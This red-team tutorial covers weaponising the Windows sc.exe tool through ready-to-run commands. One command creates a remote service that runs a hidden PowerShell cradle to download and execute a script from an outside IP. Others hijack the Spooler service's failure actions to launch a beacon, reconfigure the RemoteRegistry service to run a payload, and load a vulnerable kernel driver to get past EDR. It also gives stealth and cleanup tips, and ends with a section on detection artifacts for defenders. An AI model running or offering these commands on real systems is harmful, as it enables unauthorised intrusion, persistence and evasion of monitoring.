As a red team member, your job is to simulate real-world attacks and assess an organization’s security posture. One of the most effective ways to do this is by using remote execution techniques to gain access to systems and exfiltrate data. Remote execution is a way to execute code or commands on a remote system without physically being there. This article will focus on weaponizing sc.exe, the built-in Windows Service Control tool, for remote execution and persistence.

1. What is sc.exe?

sc.exe is a command-line tool included with every version of Windows. It stands for Service Control and is used to communicate with the Service Control Manager (SCM). It can start, stop, pause, modify, or create services both locally and remotely.

Why Red Teamers Love Services:

  1. Privilege: Services run as NT AUTHORITY\SYSTEM (or LocalService/NetworkService) by default.
  2. Remote Access: The SCM is accessible over the network via RPC (Port 135/445).
  3. Persistence: Services are designed to survive reboots.
  4. Stealth: A well-named service (e.g., “Windows Error Reporting Helper”) can hide in plain sight among hundreds of legitimate services.

2. Remote Execution via New Services

In order to use sc.exe for remote execution, you need credentialed (administrative) access to the remote system. This technique is often used after gaining domain credentials to pivot.

The “One-Liner” RCE

If you have a payload already on the target disk (or accessible via an SMB share), you can create and start a service in two commands:

1
2
3
4
5
6
7
8
9

:: 1. Create the service
:: NOTE: The space after "binPath=" and "start=" is MANDATORY.
sc \\10.10.1.5 create WinUpdater binPath= "cmd.exe /c powershell.exe -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/run.ps1')" start= auto displayname= "Windows Update Helper"

:: 2. Start the service
sc \\10.10.1.5 start WinUpdater

:: 3. Cleanup (OpSec!)
sc \\10.10.1.5 delete WinUpdater

What happens next? The service will attempt to start. Because cmd.exe is not a real service executable (it doesn’t respond to the SCM’s “ServiceMain” signal), the SCM will wait 30 seconds and then kill the process, logging an error. Good News: Your command runs before the timeout. Bad News: The error log (Event ID 7009/7000) is a forensic artifact.

3. Advanced Persistence: Service Failure Actions

Creating a new service (Event ID 7045) is noisy and widely monitored by SOCs. A more advanced technique is to configure Failure Actions on an existing, legitimate service. This tells Windows: “If this service crashes, run this program to ‘recover’.”

1
2
3
4
5
6

:: Target a service that you can kill, like 'spooler' or 'fax'.
:: 1. Set the failure command
sc failure Spooler command= "C:\windows\temp\beacon.exe" reset= 0 actions= run/5000

:: 2. Crash the service (locally or remotely via taskkill/pskill)
taskkill /F /IM spoolsv.exe

This is incredibly stealthy because the binPath of the service remains legitimate (spoolsv.exe). You just need to crash the server process to trigger your recovery payload.

Detection Note: This does not generate Event 7045. Instead, defenders must look for registry changes in HKLM\SYSTEM\CurrentControlSet\Services\[Service]\FailureCommand or monitor Event ID 7031 (“The [Service] service terminated unexpectedly”).

4. Stealth via Modification (sc config)

Instead of creating a new service, you can hijack an existing, disabled service. This avoids the “New Service Installed” event (7045), generating a “Service Modified” event instead (which is often ignored).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

:: 1. Find a disabled service
sc query state= all | findstr "SERVICE_NAME"
:: (Look for "RemoteRegistry", "Fax", "XblAuthManager")

:: 2. Reconfigure it
sc config RemoteRegistry binPath= "C:\temp\payload.exe" start= demand obj= "LocalSystem"

:: 3. Start it
sc start RemoteRegistry

:: 4. Restore it (Important!)
sc config RemoteRegistry binPath= "C:\Windows\system32\svchost.exe -k localService" start= disabled

5. Weak Service Permissions (Privilege Escalation)

Sometimes you land on a box as a low-privilege user and find a service with weak ACLs. You can verify this with accesschk (Sysinternals) or sc sdshow (native).

Reading the SDDL (Security Descriptor Definition Language):

1
2

sc sdshow Spooler
:: Output: D:(A;;CCLCSWLOCRRC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)...

If you see RP (Read Property) or WP (Write Property) granted to AU (Authenticated Users) or WD (Everyone), you can modify the service configuration to point to your binary and escalate to SYSTEM.

Modifying Permissions: If you are Administrator and want to create a backdoor for a specific user, use sc sdset.

6. The “Nuclear” Option: Kernel Driver Loading

sc.exe can also be used to load kernel-mode drivers (.sys files). This is the ultimate level of control, utilized by advanced threat actors (and game cheats) to bypass EDR callbacks.

1
2

sc create MyDriver type= kernel binPath= "C:\temp\vulnerable_driver.sys"
sc start MyDriver

Note: This requires the driver to be signed, or for “Driver Signature Enforcement” to be disabled.

7. Forensic Artifacts and Detection

Using sc.exe leaves a significant trail for blue teamers:

  1. Event ID 7045: “A new service was installed in the system.” This is the primary detection point for new service creation.
  2. Event ID 7040: “The start type of the [Service Name] service was changed.” (Config modification).
  3. Event ID 7036/7000/7031: Service start/stop/failure/crash events.
  4. System Event Log: The SCM logs heavily to the System log, not the Security log.
  5. Registry Keys: Services are stored in HKLM\SYSTEM\CurrentControlSet\Services. Defenders monitor this key for unexpected changes.
  6. Network Traffic: Remote service manipulation uses RPC (MS-SCMR). This pattern is well-known to NIDS/EDR.

Conclusion

sc.exe is a legacy tool that remains a cornerstone of Windows administration and, by extension, Windows exploitation. By mastering service creation, modification, and the obscure “Failure Actions” tab, you can achieve everything from high-privilege remote execution to long-term kernel-level persistence.

But remember: Services are noisy. Name them well, clean them up, and understand the logs you are generating.

Happy hunting!

References